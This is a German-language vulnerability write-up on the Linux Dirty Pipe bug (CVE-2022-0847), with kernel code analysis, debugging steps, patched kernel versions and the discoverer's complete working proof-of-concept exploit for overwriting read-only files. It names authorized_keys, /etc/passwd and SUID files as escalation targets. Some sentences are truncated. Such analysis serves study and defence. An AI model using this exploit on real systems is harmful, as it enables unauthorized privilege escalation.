
CVE-2022-0847 PoC, Docker und Analyse-Write-up
[toc]
Dieser Artikel wurde zuerst im Huawei Security WeChat-Konto veröffentlicht; dies ist die Blog-Version (vollständiger).
Erstveröffentlichungslink: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg
Docker für die Schwachstellenanalyse: chenaotian/cve-2022-0847 (falls du nicht darauf zugreifen kannst, habe ich ihn noch nicht hochgeladen)
Enthält:
Starten:
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../
./boot.sh
Debuggen:
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]
Der kurze Kern der Schwachstelle: Durch den Aufruf der
splice-Funktion kann eine Datei per „Zero-Copy“ in diepipeübertragen werden. Die Zero-Copy auf Code-Ebene bedeutet, dass direkt der Datei-Cache-Page (Page Cache) alsbuf-Seite derpipeverwendet wird. Dabei wird jedoch eine Variable nicht initialisiert, wodurch der Datei-Cache-Page im späterenpipe-Kanal wie ein normalerpipe-Cache-Page behandelt und „weitergeschrieben“ und damit manipuliert werden kann. In diesem Fall markiert der Kernel diesen Cache-Page jedoch nicht als „dirty“, sodass er kurzfristig (bis zum nächsten Neustart o. Ä.) nicht auf die Festplatte geschrieben wird. In dieser Zeit verwenden alle Zugriffe auf die Datei den manipulierten Datei-Cache-Page, wodurch eine „kurzzeitige Möglichkeit, in beliebige lesbare Dateien zu schreiben“ erreicht wird. Damit ist eine lokale Rechteausweitung möglich.
Laut Patch liegt die Schwachstelle in der Funktion copy_page_to_iter_pipe; dort wurde eine Initialisierung von buf->flags hinzugefügt. Es handelt sich also um eine Schwachstelle durch fehlende Variableninitialisierung.

Der Aufruf von copy_page_to_iter_pipe erfolgt im splice-Systemaufruf. Die splice-Funktion (Systemaufruf) überträgt den Dateiinhalt über eine „Zero-Copy“-Methode in die Pipe. Das ist leistungsfähiger als die herkömmliche Methode, den Dateiinhalt direkt in die Pipe zu schreiben. Details folgen weiter unten.
Zunächst: Die Schwachstelle trägt den Alias Dirty Pipe. Daher werfen wir einen Blick auf die Pipe (pipe). Die pipe ist ein vom Kernel bereitgestellter Kommunikationskanal, der über die Funktionen pipe/pipe2 erstellt wird und zwei Dateideskriptoren zurückgibt – einen zum Senden von Daten und einen zum Empfangen, ähnlich wie die beiden Enden einer Röhre. Auf die genaue Verwendung gehe ich hier nicht weiter ein.

Kurz zur Implementierung im Kernel: Der Pipe-Cache hat normalerweise eine Gesamtlänge von 65536 Bytes und wird in Seiten verwaltet, insgesamt 16 Seiten (eine Seite 4096 Bytes). Die Seiten sind nicht zusammenhängend, sondern werden über ein Array verwaltet und bilden eine ringförmige Liste. Es werden zwei Listenzeiger gepflegt: einer zum Schreiben (pipe->head) und einer zum Lesen (pipe->tail). Hier wird hauptsächlich die pipe_write-Funktion analysiert:
linux-5.13\fs\pipe.c : 400 : pipe_write
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
··· ···
··· ···
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) {
//[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
*如果写入长度不会跨页,则接着写,否则直接另起一页 */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
···
}
buf->len += ret;
···
}
}
for (;;) {//[3]如果上一页没法接着写,则重新起一页
··· ···
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
if (!page) {//[4]重新申请一个新页
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
··· ···
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
/* Insert it into the buffer array */
buf = &pipe->bufs[head & mask];
buf->page = page;//[5]将新申请的页放到页数组中
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
//[6]设置flag,默认PIPE_BUF_FLAG_CAN_MERGE
pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
//[7]拷贝操作
··· ···
ret += copied;
buf->offset = 0;
buf->len = copied;
··· ···
}
··· ···
}
··· ···
return ret;
}
head==tail bedeutet leere Pipe), dann sind darin noch ungelesene Daten vorhanden. Der head-Zeiger wird geholt, also die zuletzt zum Schreiben verwendete Seite, und deren len und offset werden geprüft (um das Datenende zu finden). Anschließend wird versucht, auf dieser Seite fortzuschreiben.PIPE_BUF_FLAG_CAN_MERGE besitzt; ist es nicht vorhanden, ist das Fortschreiben auf der aktuellen Seite nicht erlaubt. Oder wenn die aktuell geschriebenen Daten zusammen mit den vorherigen Daten eine Seite überschreiten (also der Schreibvorgang über eine Seitengrenze geht), ist ein Fortschreiben ebenfalls nicht möglich.alloc_page fordert eine neue Seite an.buf->flag wird standardmäßig auf PIPE_BUF_FLAG_CAN_MERGE gesetzt, da standardmäßig erlaubt ist, auf der Seite fortzuschreiben.Der Schlüssel zur Ausnutzung ist das in splice nicht initialisierte Flag PIPE_BUF_FLAG_CAN_MERGE, denn es bestimmt, ob wir auf einer „nicht vollständig geschriebenen“ pipe-Seite weiterschreiben können.
Wie oben erwähnt, verwendet die pipe 16 Seiten als Cache. Die Zero-Copy-Methode von splice besteht darin, die Cache-Seiten der pipe direkt durch die Datei-Cache-Seiten zu ersetzen (der Zeiger der Pipe-Cache-Seite wird auf die Datei-Cache-Seite geändert).

Der Aufrufpfad vom splice-Systemaufruf bis zur verwundbaren Funktion copy_page_to_iter_pipe ist sehr tief; wir analysieren ihn nicht im Detail. Der Aufrufstapel sieht wie folgt aus:
SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
splice_file_to_pipe -> do_splice_to
generic_file_splice_read (in->f_op->splice_read ist standardmäßig generic_file_splice_read)
call_read_iter -> filemap_read
copy_page_to_iter -> copy_page_to_iter_pipeDie verwundbare Funktion copy_page_to_iter_pipe bewirkt im Wesentlichen, dass die Pipe-Cache-Seitenstruktur auf die Datei-Cache-Seite der zu übertragenden Datei zeigt:
linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
··· ···
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];//[1]获取对应的pipe 缓存页
··· ···
buf->ops = &page_cache_pipe_buf_ops;//[2]修改pipe 缓存页的相关信息指向文件缓存页
get_page(page);
buf->page = page;//[2]页指针指向了文件缓存页
buf->offset = offset;//[2]offset len 等设置为当前信息(通过splice 传入参数决定)
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
pipe-Seitenarrays die Position des aktuellen Schreibzeigers (pipe->head) ermittelt.len durch die Parameter des splice-Systemaufrufs bestimmt. Einzig das Flag wird hier nicht initialisiert, was die Schwachstelle verursacht.Normalerweise sieht pipe->bufs nach der Initialisierung so aus:

Wenn dann gemäß dem oben analysierten pipe_write-Code erneut pipe_write aufgerufen wird, um Daten in die Pipe zu schreiben, zeigt der Schreibzeiger (pipe->head) auf die Seite im obigen Bild. Da flag auf PIPE_BUF_FLAG_CAN_MERGE gesetzt ist, wird angenommen, dass auf dieser Seite weitergeschrieben werden kann, solange die Schreiblänge die Seitengrenze nicht überschreitet:
#define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* can merge buffers */
if (chars && !was_empty) {
//[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
*如果写入长度不会跨页,则接着写,否则直接另起一页 */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
Linux legt geöffnete Dateien im Cache ab; die Cache-Seiten werden nach der Nutzung eine Zeit lang aufbewahrt, um unnötige I/O-Vorgänge zu vermeiden. Bei kurzfristigem Zugriff auf dieselbe Datei wird immer dieselbe Datei-Cache-Seite verwendet, statt die Datei erneut zu öffnen. Wenn wir nun diese Datei-Cache-Seite manipulieren, lesen alle kurzfristigen Zugriffe auf die Datei die manipulierte Seite, wodurch die Ausnutzung abgeschlossen wird.
Wie bereits beschrieben, ist der Ausnutzungsprozess sehr einfach; wer das Prinzip versteht, kann es ausnutzen. Laut dem Autor lässt er sich grob in folgende Schritte unterteilen:
pipe_write), damit alle buf (Pipe-Cache-Seiten) initialisiert sind und flag standardmäßig auf PIPE_BUF_FLAG_CAN_MERGE gesetzt ist.pipe_read), sodass beim Übertragen einer Datei über den splice-Systemaufruf die ursprünglichen initialisierten buf-Strukturen verwendet werden.splice-Funktion aufrufen, um die zu manipulierende Datei zu übertragen.pipe schreiben (pipe_write); dabei wird die Datei-Cache-Seite überschrieben und die Datei vorübergehend manipuliert.Nach Schritt 2, nachdem die Pipe gefüllt und wieder geleert wurde, sieht man, dass die bufs-Struktur die Daten enthält, die später für die nicht initialisierten Inhalte wiederverwendet werden:
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

Nachdem die Datei per splice übertragen wurde, sieht es so aus. Dabei ist flag nicht initialisiert. Außerdem sollte len so klein wie möglich gesetzt werden, denn je kleiner es ist, desto länger können wir später beim „Fortschreiben“ schreiben. Hier wird es auf 1 gesetzt, als Offset dient die Startadresse, die wir manipulieren möchten. Dabei wird der Zeiger pipe->bufs->page auf die Startadresse gesetzt:
splice(fd, &offset, p[1], NULL, 1, 0);

Nochmals pipe_write: Da die Bedingung zum Fortschreiben erfüllt ist, wird direkt auf der Seite weitergeschrieben:

Nicht von mir geschrieben, sondern aus der Schwachstellenmeldung:
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
Erfolgreiche Rechteausweitung:
gcc exp.c -o exp --static
./exp file offset string

Bislang wird nur der Effekt des Schreibens in beliebige Dateien demonstriert. Für die tatsächliche Ausnutzung könnte man z. B. /etc/passwd, SSH-Keys oder SUID-Dateien ändern, um eine echte Rechteausweitung durchzuführen. Hier wird das nicht praktisch vorgeführt (ich mache ja ohnehin keine Penetrationstests).
Da es sich um eine Kernel-Schwachstelle handelt, gibt es derzeit keine gute Abhilfe. Es wird empfohlen, den Kernel auf eine der behobenen Versionen zu aktualisieren: 5.16.11, 5.15.25, 5.10.102 oder höher.
Basierend auf dem vom Schwachstellenmelder veröffentlichten POC wurde ein einfaches Verifikationswerkzeug geschrieben. Bei vorhandener Schwachstelle wird „There is CVE-2022-0847“ ausgegeben:

Ist die Schwachstelle nicht vorhanden, wird „You are safe!“ ausgegeben.
Schwachstellenmeldung: https://dirtypipe.cm4all.com/
Das Flag PIPE_BUF_FLAG_CAN_MERGE kommt insgesamt fünfmal vor: einmal in der #define-Deklaration, zweimal in pipe_write. Die restlichen zwei Male befinden sich in splice:

Außerdem zeigt der Code, an dem diese Variable beteiligt ist, dass ihre Bedeutung darin besteht, ob auf der aktuell letzten pipe-Cache-Seite weitergeschrieben werden darf. Normalerweise ist eine von der pipe selbst angeforderte Seite eine gewöhnliche Seite; weiterschreiben ist dann kein Problem. Wann darf man nicht weiterschreiben? Wenn die Seite nicht von der pipe selbst angefordert wurde, darf man sie nicht ohne Weiteres ändern. Nach dem aktuellen Stand betrifft fast nur splice Seiten, die nicht von der pipe selbst stammen. Mit anderen Worten: Das Flag PIPE_BUF_FLAG_CAN_MERGE wurde für splice entworfen. Und dann sagt ihr mir, dass ihr es nicht initialisiert? Deshalb vermute ich, dass diese Schwachstelle keineswegs nur Schlamperei war ...